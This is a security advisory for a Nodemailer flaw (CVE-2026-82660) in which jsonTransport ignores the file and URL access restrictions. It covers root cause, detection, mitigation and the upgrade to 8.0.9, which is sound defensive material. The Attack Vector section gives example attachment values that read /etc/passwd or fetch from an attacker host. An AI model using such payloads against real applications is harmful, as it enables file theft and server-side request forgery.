CVE-2026-82660: Nodemailer Information Disclosure Flaw

CVE-2026-82660 Overview

Nodemailer versions before 8.0.9 contain a missing authorization flaw [CWE-862] in the jsonTransport message normalization path. The library fails to enforce the disableFileAccess and disableUrlAccess options when processing message content fields. Attackers who can influence message payloads can supply path or href values to read local files or trigger outbound URL fetches. This bypasses the access controls that applications rely on to sandbox untrusted input.

Critical Impact
Authenticated attackers can exfiltrate local file contents or force server-side URL retrieval by injecting crafted attachment or content objects into Nodemailer messages processed through jsonTransport.

Affected Products

Nodemailer versions prior to 8.0.9
Node.js applications using the jsonTransport transport
Applications relying on disableFileAccess or disableUrlAccess as security controls

Discovery Timeline

2026-08-31 - CVE-2026-82660 published to NVD
2026-08-31 - Last updated in NVD database

Technical Details for CVE-2026-82660

Vulnerability Analysis

Nodemailer is a widely used Node.js library for sending email. It supports several transports, including jsonTransport, which serializes messages to JSON rather than dispatching them over SMTP. The library exposes two safety options: disableFileAccess blocks reading from the local filesystem, and disableUrlAccess blocks outbound HTTP fetches during attachment resolution.

The vulnerability stems from jsonTransport not honoring these flags during message normalization. When a message object contains attachment or content fields with a path or href property, the normalizer resolves those references before the safety checks apply. An attacker who controls any part of a message payload can request arbitrary local files or external URLs.

Root Cause

The root cause is missing authorization enforcement [CWE-862] in the normalization routine used by jsonTransport. The security options are validated in other transport paths but not consistently applied here. Applications that pass user-supplied data into message fields — subject lines, HTML bodies, or attachments — inherit this gap even when they explicitly set the safety options.

Attack Vector

Exploitation requires network access and low privileges. The attacker must be able to influence a message field processed by jsonTransport. A typical attack supplies an attachment object with path: "/etc/passwd" or href: "http://attacker.example/collect". Nodemailer resolves the reference and includes the file contents or fetched data in the serialized output, which the application may log, store, or forward.

No verified public exploit code is available. See the GitHub Security Advisory GHSA-wqvq-jvpq-h66f and the VulnCheck Advisory on Nodemailer Bypass for advisory details.

Detection Methods for CVE-2026-82660

Indicators of Compromise

Nodemailer message payloads containing path fields referencing local filesystem paths such as /etc/, /var/, or application configuration directories
Message attachments with href values pointing to unexpected external hosts or internal metadata endpoints such as 169.254.169.254
Outbound HTTP requests from Node.js application processes to hosts not previously seen in baseline traffic

Detection Strategies

Inventory Node.js dependencies using npm ls nodemailer and flag versions earlier than 8.0.9
Inspect application logs for serialized jsonTransport output containing base64-encoded file contents from unexpected paths
Review web application firewall telemetry for user-submitted payloads containing path or href keys targeting email endpoints

Monitoring Recommendations

Alert on Node.js processes issuing outbound HTTP requests to non-approved domains or link-local addresses
Monitor filesystem access by Node.js runtime users to sensitive directories outside the application working directory
Track software composition analysis results for Nodemailer version drift across CI/CD pipelines

How to Mitigate CVE-2026-82660

Immediate Actions Required

Upgrade Nodemailer to version 8.0.9 or later across all Node.js applications
Audit application code for any use of jsonTransport that processes user-controlled message fields
Sanitize incoming message objects to strip path and href properties before passing them to Nodemailer

Patch Information

The maintainers fixed the issue in Nodemailer 8.0.9 by enforcing disableFileAccess and disableUrlAccess during jsonTransport normalization. Upgrade using npm install nodemailer@^8.0.9 or the equivalent for your package manager. Full remediation details are in the GitHub Security Advisory GHSA-wqvq-jvpq-h66f.

Workarounds

Validate and allowlist attachment sources before invoking Nodemailer, rejecting any request containing path or href fields
Run Node.js processes with restricted filesystem permissions and egress network policies that block unexpected outbound requests
Replace jsonTransport with a transport that does not resolve external references when serializing untrusted input is required

bash

# Upgrade Nodemailer to the patched release
npm install nodemailer@^8.0.9
npm ls nodemailer